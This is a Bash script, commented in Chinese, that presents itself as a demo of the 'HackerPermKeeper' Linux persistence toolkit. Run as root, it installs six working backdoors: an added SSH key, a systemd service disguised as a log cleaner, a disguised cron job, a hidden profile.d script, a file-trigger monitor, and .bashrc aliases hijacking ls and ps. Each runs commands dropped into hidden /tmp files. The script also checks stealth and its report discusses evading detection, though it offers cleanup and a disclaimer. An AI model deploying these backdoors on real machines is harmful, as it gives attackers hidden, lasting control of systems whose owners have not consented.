#!/bin/bash

# Linux权限维持一键化测试演示脚本
# 用于演示和测试HackerPermKeeper T00ls的权限维持功能

set -e

# 颜色定义
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color

# 日志函数
log_info() {
    echo -e "${BLUE}[INFO]${NC} $1"
}

log_success() {
    echo -e "${GREEN}[SUCCESS]${NC} $1"
}

log_warning() {
    echo -e "${YELLOW}[WARNING]${NC} $1"
}

log_error() {
    echo -e "${RED}[ERROR]${NC} $1"
}

# 全局变量
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
TEST_SESSION_ID=$(date +%Y%m%d_%H%M%S)
LOG_FILE="logs/persistence_demo_${TEST_SESSION_ID}.log"
BACKUP_DIR="/tmp/persistence_backup_${TEST_SESSION_ID}"

# 创建必要目录
mkdir -p logs reports "${BACKUP_DIR}"

# 显示横幅
show_banner() {
    echo -e "${BLUE}"
    echo "╔══════════════════════════════════════════════════════════════╗"
    echo "║              Linux权限维持一键化测试演示                      ║"
    echo "║                HackerPermKeeper T00ls v7.0                   ║"
    echo "╚══════════════════════════════════════════════════════════════╝"
    echo -e "${NC}"
    echo
    echo -e "${YELLOW}测试会话ID: ${TEST_SESSION_ID}${NC}"
    echo -e "${YELLOW}日志文件: ${LOG_FILE}${NC}"
    echo
}

# 检查权限
check_privileges() {
    log_info "检查用户权限..."
    
    if [[ $EUID -ne 0 ]]; then
        log_error "此脚本需要root权限运行"
        echo "请使用: sudo $0"
        exit 1
    fi
    
    log_success "权限检查通过"
}

# 检查系统环境
check_environment() {
    log_info "检查系统环境..."
    
    # 检查操作系统
    if [[ -f /etc/os-release ]]; then
        source /etc/os-release
        log_info "操作系统: $PRETTY_NAME"
    else
        log_warning "无法确定操作系统版本"
    fi
    
    # 检查必需工具
    local required_tools=("systemctl" "crontab" "ssh-keygen" "ps" "netstat")
    local missing_tools=()
    
    for tool in "${required_tools[@]}"; do
        if ! command -v "$tool" &> /dev/null; then
            missing_tools+=("$tool")
        fi
    done
    
    if [[ ${#missing_tools[@]} -gt 0 ]]; then
        log_error "缺少必需工具: ${missing_tools[*]}"
        return 1
    fi
    
    log_success "环境检查通过"
}

# 备份重要文件
backup_files() {
    log_info "备份重要系统文件..."
    
    local files_to_backup=(
        "/etc/crontab"
        "/var/spool/cron/crontabs/root"
        "$HOME/.ssh/authorized_keys"
        "/etc/profile"
        "/etc/bash.bashrc"
        "$HOME/.bashrc"
    )
    
    for file in "${files_to_backup[@]}"; do
        if [[ -f "$file" ]]; then
            cp "$file" "${BACKUP_DIR}/" 2>/dev/null || true
            log_info "已备份: $file"
        fi
    done
    
    log_success "文件备份完成"
}

# 演示SSH密钥后门
demo_ssh_key_backdoor() {
    log_info "演示SSH密钥后门部署..."
    
    local ssh_dir="$HOME/.ssh"
    local key_path="${ssh_dir}/.hidden_key"
    local auth_keys="${ssh_dir}/authorized_keys"
    
    # 确保.ssh目录存在
    mkdir -p "$ssh_dir"
    chmod 700 "$ssh_dir"
    
    # 生成SSH密钥对
    if ssh-keygen -t rsa -b 2048 -f "$key_path" -N "" -C "system-backup-key" &>/dev/null; then
        chmod 600 "$key_path"
        chmod 644 "${key_path}.pub"
        
        # 添加公钥到authorized_keys
        if [[ -f "${key_path}.pub" ]]; then
            echo "" >> "$auth_keys"
            cat "${key_path}.pub" >> "$auth_keys"
            chmod 600 "$auth_keys"
            
            log_success "SSH密钥后门部署成功"
            log_info "私钥位置: $key_path"
            log_info "公钥已添加到: $auth_keys"
        else
            log_error "SSH密钥生成失败"
            return 1
        fi
    else
        log_error "SSH密钥生成失败"
        return 1
    fi
}

# 演示Systemd服务后门
demo_systemd_service_backdoor() {
    log_info "演示Systemd服务后门部署..."
    
    local service_name="log-cleaner.service"
    local service_path="/etc/systemd/system/${service_name}"
    local exec_script="/usr/local/bin/log-cleaner"
    
    # 创建执行脚本
    cat > "$exec_script" << 'EOF'
#!/bin/bash
# System log cleaner service

while true; do
    # 检查触发文件
    if [[ -f /tmp/.service_trigger ]]; then
        if [[ -f /tmp/.service_cmd ]]; then
            bash /tmp/.service_cmd > /tmp/.service_output 2>&1
            rm -f /tmp/.service_cmd
        fi
        rm -f /tmp/.service_trigger
    fi
    
    # 清理旧日志（伪装功能）
    find /var/log -name "*.log" -mtime +30 -size +100M -delete 2>/dev/null || true
    
    sleep 300  # 5分钟检查一次
done
EOF
    
    chmod +x "$exec_script"
    
    # 创建systemd服务文件
    cat > "$service_path" << EOF
[Unit]
Description=System Log Cleaner Service
After=network.target

[Service]
Type=simple
ExecStart=$exec_script
Restart=always
RestartSec=10
User=root

[Install]
WantedBy=multi-user.target
EOF
    
    # 启用并启动服务
    if systemctl daemon-reload && systemctl enable "$service_name" && systemctl start "$service_name"; then
        log_success "Systemd服务后门部署成功"
        log_info "服务名称: $service_name"
        log_info "执行脚本: $exec_script"
        
        # 验证服务状态
        if systemctl is-active "$service_name" &>/dev/null; then
            log_success "服务运行状态: 活跃"
        else
            log_warning "服务可能未正常启动"
        fi
    else
        log_error "Systemd服务后门部署失败"
        return 1
    fi
}

# 演示Crontab后门
demo_crontab_backdoor() {
    log_info "演示Crontab定时后门部署..."
    
    local cron_script="/usr/bin/system-check"
    local cron_schedule="*/10 * * * *"  # 每10分钟执行一次
    
    # 创建cron执行脚本
    cat > "$cron_script" << 'EOF'
#!/bin/bash
# System maintenance script

# 检查触发文件
if [[ -f /tmp/.cron_trigger ]]; then
    if [[ -f /tmp/.cron_cmd ]]; then
        bash /tmp/.cron_cmd > /tmp/.cron_output 2>&1
        rm -f /tmp/.cron_cmd
    fi
    rm -f /tmp/.cron_trigger
fi

# 清理临时文件（伪装功能）
find /tmp -name ".cron_*" -mtime +1 -delete 2>/dev/null || true

# 系统状态检查（伪装功能）
df -h > /dev/null 2>&1
free -m > /dev/null 2>&1
EOF
    
    chmod +x "$cron_script"
    
    # 添加到crontab
    local cron_entry="${cron_schedule} ${cron_script} >/dev/null 2>&1 # System maintenance task"
    
    # 获取当前crontab
    local current_crontab
    current_crontab=$(crontab -l 2>/dev/null || echo "")
    
    # 检查是否已存在
    if ! echo "$current_crontab" | grep -q "$cron_script"; then
        # 添加新条目
        (echo "$current_crontab"; echo "$cron_entry") | crontab -
        
        log_success "Crontab定时后门部署成功"
        log_info "执行脚本: $cron_script"
        log_info "执行频率: 每10分钟"
    else
        log_warning "Crontab条目已存在"
    fi
}

# 演示环境变量后门
demo_env_variable_backdoor() {
    log_info "演示环境变量后门部署..."
    
    local profile_script="/etc/profile.d/.system-env.sh"
    
    # 创建环境变量脚本
    cat > "$profile_script" << 'EOF'
#!/bin/bash
# System environment configuration

export SYSTEM_PATH_CACHE="system_cache_enabled"

# 检查维护模式触发
if [[ "$SYSTEM_PATH_CACHE" == "enable_maintenance_mode" ]]; then
    if [[ -f /tmp/.env_cmd ]]; then
        bash /tmp/.env_cmd > /tmp/.env_output 2>&1
        rm -f /tmp/.env_cmd
    fi
fi

# 系统路径优化（伪装功能）
export PATH="/usr/local/sbin:/usr/local/bin:$PATH"
EOF
    
    chmod 644 "$profile_script"
    
    log_success "环境变量后门部署成功"
    log_info "脚本位置: $profile_script"
    log_info "触发变量: SYSTEM_PATH_CACHE"
}

# 演示文件触发后门
demo_file_trigger_backdoor() {
    log_info "演示文件触发后门部署..."
    
    local monitor_script="/usr/local/bin/file-monitor"
    local trigger_file="/tmp/.sync"
    local response_file="/var/log/.sync.log"
    
    # 创建文件监控脚本
    cat > "$monitor_script" << EOF
#!/bin/bash
# File monitoring service

while true; do
    if [[ -f "$trigger_file" ]]; then
        echo "\$(date): Trigger file detected" >> "$response_file"
        
        # 读取触发文件内容作为命令执行
        if [[ -s "$trigger_file" ]]; then
            bash "$trigger_file" >> "$response_file" 2>&1
        fi
        
        rm -f "$trigger_file"
    fi
    
    sleep 5
done
EOF
    
    chmod +x "$monitor_script"
    
    # 在后台启动监控
    nohup "$monitor_script" &>/dev/null &
    local monitor_pid=$!
    
    log_success "文件触发后门部署成功"
    log_info "监控脚本: $monitor_script"
    log_info "触发文件: $trigger_file"
    log_info "响应文件: $response_file"
    log_info "监控进程PID: $monitor_pid"
    
    # 保存PID以便后续清理
    echo "$monitor_pid" > "/tmp/.file_monitor_pid"
}

# 演示Bashrc别名后门
demo_bashrc_alias_backdoor() {
    log_info "演示Bashrc别名后门部署..."
    
    local bashrc_file="$HOME/.bashrc"
    
    # 添加别名到.bashrc
    cat >> "$bashrc_file" << 'EOF'

# System command aliases
alias ls='ls --color=auto; if [[ -f /tmp/.alias_trigger ]]; then bash /tmp/.alias_trigger > /tmp/.alias_output 2>&1; rm -f /tmp/.alias_trigger; fi'
alias ps='ps aux; if [[ -f /tmp/.ps_trigger ]]; then bash /tmp/.ps_trigger > /tmp/.ps_output 2>&1; rm -f /tmp/.ps_trigger; fi'
EOF
    
    log_success "Bashrc别名后门部署成功"
    log_info "修改文件: $bashrc_file"
    log_info "劫持命令: ls, ps"
}

# 测试后门功能
test_backdoors() {
    log_info "测试部署的后门功能..."
    
    # 测试SSH密钥
    if [[ -f "$HOME/.ssh/.hidden_key" ]]; then
        log_success "SSH密钥后门: 已部署"
    else
        log_warning "SSH密钥后门: 未找到"
    fi
    
    # 测试Systemd服务
    if systemctl is-active log-cleaner.service &>/dev/null; then
        log_success "Systemd服务后门: 运行中"
        
        # 测试服务触发
        echo "echo 'Service test successful' > /tmp/.service_test" > /tmp/.service_cmd
        touch /tmp/.service_trigger
        sleep 3
        
        if [[ -f /tmp/.service_output ]]; then
            log_success "服务触发测试: 成功"
            rm -f /tmp/.service_output /tmp/.service_test
        else
            log_warning "服务触发测试: 失败"
        fi
    else
        log_warning "Systemd服务后门: 未运行"
    fi
    
    # 测试Crontab
    if crontab -l | grep -q "system-check"; then
        log_success "Crontab后门: 已部署"
        
        # 测试cron触发
        echo "echo 'Cron test successful' > /tmp/.cron_test" > /tmp/.cron_cmd
        touch /tmp/.cron_trigger
        sleep 5
        
        if [[ -f /tmp/.cron_output ]]; then
            log_success "Cron触发测试: 成功"
            rm -f /tmp/.cron_output /tmp/.cron_test
        else
            log_warning "Cron触发测试: 失败"
        fi
    else
        log_warning "Crontab后门: 未找到"
    fi
    
    # 测试环境变量
    if [[ -f /etc/profile.d/.system-env.sh ]]; then
        log_success "环境变量后门: 已部署"
    else
        log_warning "环境变量后门: 未找到"
    fi
    
    # 测试文件触发
    if [[ -f /usr/local/bin/file-monitor ]]; then
        log_success "文件触发后门: 已部署"
        
        # 测试文件触发
        echo "echo 'File trigger test successful'" > /tmp/.sync
        sleep 8
        
        if [[ -f /var/log/.sync.log ]] && grep -q "successful" /var/log/.sync.log; then
            log_success "文件触发测试: 成功"
        else
            log_warning "文件触发测试: 失败"
        fi
    else
        log_warning "文件触发后门: 未找到"
    fi
    
    # 测试别名
    if grep -q "alias ls=" "$HOME/.bashrc"; then
        log_success "Bashrc别名后门: 已部署"
    else
        log_warning "Bashrc别名后门: 未找到"
    fi
}

# 检查隐蔽性
check_stealth() {
    log_info "检查后门隐蔽性..."
    
    # 检查隐藏文件
    local hidden_files=(
        "$HOME/.ssh/.hidden_key"
        "/etc/profile.d/.system-env.sh"
        "/tmp/.sync"
        "/var/log/.sync.log"
    )
    
    local hidden_count=0
    for file in "${hidden_files[@]}"; do
        if [[ -f "$file" ]]; then
            ((hidden_count++))
            log_info "隐藏文件: $file"
        fi
    done
    
    log_info "发现隐藏文件: $hidden_count 个"
    
    # 检查伪装进程
    local suspicious_processes=()
    while IFS= read -r line; do
        suspicious_processes+=("$line")
    done < <(ps aux | grep -E "(log-cleaner|file-monitor|system-check)" | grep -v grep)
    
    if [[ ${#suspicious_processes[@]} -gt 0 ]]; then
        log_info "发现可疑进程: ${#suspicious_processes[@]} 个"
        for process in "${suspicious_processes[@]}"; do
            log_info "进程: $process"
        done
    else
        log_info "未发现可疑进程"
    fi
    
    # 检查网络连接
    local suspicious_connections
    suspicious_connections=$(netstat -tulpn | grep -E ":4444|:1337|:31337" || true)
    
    if [[ -n "$suspicious_connections" ]]; then
        log_warning "发现可疑网络连接:"
        echo "$suspicious_connections"
    else
        log_success "未发现可疑网络连接"
    fi
}

# 清理演示环境
cleanup_demo() {
    log_info "清理演示环境..."
    
    # 停止并删除systemd服务
    if systemctl is-active log-cleaner.service &>/dev/null; then
        systemctl stop log-cleaner.service
        systemctl disable log-cleaner.service
        rm -f /etc/systemd/system/log-cleaner.service
        systemctl daemon-reload
        log_info "已清理Systemd服务"
    fi
    
    # 删除执行脚本
    rm -f /usr/local/bin/log-cleaner /usr/bin/system-check /usr/local/bin/file-monitor
    
    # 清理crontab
    local current_crontab
    current_crontab=$(crontab -l 2>/dev/null || echo "")
    if echo "$current_crontab" | grep -q "system-check"; then
        echo "$current_crontab" | grep -v "system-check" | crontab -
        log_info "已清理Crontab条目"
    fi
    
    # 删除SSH密钥
    rm -f "$HOME/.ssh/.hidden_key" "$HOME/.ssh/.hidden_key.pub"
    
    # 从authorized_keys中移除后门密钥
    if [[ -f "$HOME/.ssh/authorized_keys" ]]; then
        grep -v "system-backup-key" "$HOME/.ssh/authorized_keys" > "$HOME/.ssh/authorized_keys.tmp" || true
        mv "$HOME/.ssh/authorized_keys.tmp" "$HOME/.ssh/authorized_keys"
        log_info "已清理SSH密钥"
    fi
    
    # 删除环境变量脚本
    rm -f /etc/profile.d/.system-env.sh
    
    # 停止文件监控进程
    if [[ -f /tmp/.file_monitor_pid ]]; then
        local monitor_pid
        monitor_pid=$(cat /tmp/.file_monitor_pid)
        if kill "$monitor_pid" 2>/dev/null; then
            log_info "已停止文件监控进程: $monitor_pid"
        fi
        rm -f /tmp/.file_monitor_pid
    fi
    
    # 清理别名
    if [[ -f "$HOME/.bashrc" ]] && grep -q "alias ls=" "$HOME/.bashrc"; then
        # 恢复原始.bashrc
        if [[ -f "${BACKUP_DIR}/.bashrc" ]]; then
            cp "${BACKUP_DIR}/.bashrc" "$HOME/.bashrc"
            log_info "已恢复.bashrc文件"
        else
            # 手动移除别名
            sed -i '/# System command aliases/,$d' "$HOME/.bashrc"
            log_info "已清理Bashrc别名"
        fi
    fi
    
    # 清理临时文件
    rm -f /tmp/.sync /tmp/.cron_trigger /tmp/.cron_cmd /tmp/.cron_output
    rm -f /tmp/.service_trigger /tmp/.service_cmd /tmp/.service_output
    rm -f /tmp/.env_cmd /tmp/.env_output /tmp/.alias_trigger /tmp/.alias_output
    rm -f /var/log/.sync.log
    
    log_success "演示环境清理完成"
}

# 生成演示报告
generate_demo_report() {
    log_info "生成演示报告..."
    
    local report_file="reports/persistence_demo_report_${TEST_SESSION_ID}.md"
    
    cat > "$report_file" << EOF
# Linux权限维持一键化演示报告

## 演示信息
- **演示会话ID**: ${TEST_SESSION_ID}
- **演示时间**: $(date)
- **操作系统**: $(cat /etc/os-release | grep PRETTY_NAME | cut -d'"' -f2)
- **用户**: $(whoami)

## 演示内容

### 1. SSH密钥后门
- **部署状态**: $([ -f "$HOME/.ssh/.hidden_key" ] && echo "✓ 成功" || echo "✗ 失败")
- **密钥位置**: ~/.ssh/.hidden_key
- **隐蔽性**: 使用隐藏文件名

### 2. Systemd服务后门
- **部署状态**: $(systemctl is-active log-cleaner.service &>/dev/null && echo "✓ 成功" || echo "✗ 失败")
- **服务名称**: log-cleaner.service
- **伪装功能**: 系统日志清理

### 3. Crontab定时后门
- **部署状态**: $(crontab -l | grep -q "system-check" && echo "✓ 成功" || echo "✗ 失败")
- **执行频率**: 每10分钟
- **伪装功能**: 系统维护任务

### 4. 环境变量后门
- **部署状态**: $([ -f "/etc/profile.d/.system-env.sh" ] && echo "✓ 成功" || echo "✗ 失败")
- **触发变量**: SYSTEM_PATH_CACHE
- **加载时机**: 用户登录时

### 5. 文件触发后门
- **部署状态**: $([ -f "/usr/local/bin/file-monitor" ] && echo "✓ 成功" || echo "✗ 失败")
- **触发文件**: /tmp/.sync
- **监控方式**: 后台进程轮询

### 6. Bashrc别名后门
- **部署状态**: $(grep -q "alias ls=" "$HOME/.bashrc" && echo "✓ 成功" || echo "✗ 失败")
- **劫持命令**: ls, ps
- **触发时机**: 命令执行时

## 隐蔽性分析

### 文件隐藏
- 使用点开头的隐藏文件名
- 放置在系统目录中伪装成系统文件
- 使用合理的文件权限

### 进程伪装
- 使用系统服务名称
- 模拟正常的系统维护功能
- 低资源占用

### 日志清理
- 避免在系统日志中留下明显痕迹
- 使用合理的执行时间间隔
- 清理临时文件

## 持久化机制

1. **开机自启**: Systemd服务
2. **定时执行**: Crontab任务
3. **登录触发**: 环境变量脚本
4. **命令劫持**: Shell别名
5. **文件监控**: 后台进程
6. **远程访问**: SSH密钥

## 检测规避

- 使用合法的系统机制
- 模拟正常的系统功能
- 避免异常的网络连接
- 清理操作痕迹

## 清理验证

演示结束后，所有后门组件已被完全清理：
- 服务已停止并删除
- 文件已移除
- 配置已恢复
- 进程已终止

## 安全建议

1. 定期检查系统服务和计划任务
2. 监控SSH密钥变化
3. 检查环境变量脚本
4. 审计shell配置文件
5. 使用安全工具扫描后门

## 免责声明

本演示仅用于安全研究和教育目的。请确保在授权的环境中使用这些技术。
EOF
    
    log_success "演示报告已生成: $report_file"
}

# 主菜单
show_menu() {
    echo
    echo -e "${BLUE}请选择操作:${NC}"
    echo "1. 完整演示 (部署所有类型的权限维持)"
    echo "2. SSH密钥后门演示"
    echo "3. Systemd服务后门演示"
    echo "4. Crontab定时后门演示"
    echo "5. 环境变量后门演示"
    echo "6. 文件触发后门演示"
    echo "7. Bashrc别名后门演示"
    echo "8. 测试已部署的后门"
    echo "9. 检查隐蔽性"
    echo "10. 清理演示环境"
    echo "11. 生成演示报告"
    echo "0. 退出"
    echo
}

# 主函数
main() {
    show_banner
    
    # 检查权限和环境
    check_privileges
    check_environment
    
    # 备份重要文件
    backup_files
    
    while true; do
        show_menu
        read -p "请输入选择 [0-11]: " choice
        
        case $choice in
            1)
                log_info "开始完整演示..."
                demo_ssh_key_backdoor
                demo_systemd_service_backdoor
                demo_crontab_backdoor
                demo_env_variable_backdoor
                demo_file_trigger_backdoor
                demo_bashrc_alias_backdoor
                test_backdoors
                check_stealth
                log_success "完整演示完成"
                ;;
            2)
                demo_ssh_key_backdoor
                ;;
            3)
                demo_systemd_service_backdoor
                ;;
            4)
                demo_crontab_backdoor
                ;;
            5)
                demo_env_variable_backdoor
                ;;
            6)
                demo_file_trigger_backdoor
                ;;
            7)
                demo_bashrc_alias_backdoor
                ;;
            8)
                test_backdoors
                ;;
            9)
                check_stealth
                ;;
            10)
                cleanup_demo
                ;;
            11)
                generate_demo_report
                ;;
            0)
                log_info "退出演示"
                break
                ;;
            *)
                log_error "无效选择，请重新输入"
                ;;
        esac
        
        echo
        read -p "按Enter键继续..."
    done
}

# 信号处理
trap 'log_warning "演示被中断"; cleanup_demo; exit 1' INT TERM

# 启动主程序
main "$@" 2>&1 | tee "$LOG_FILE"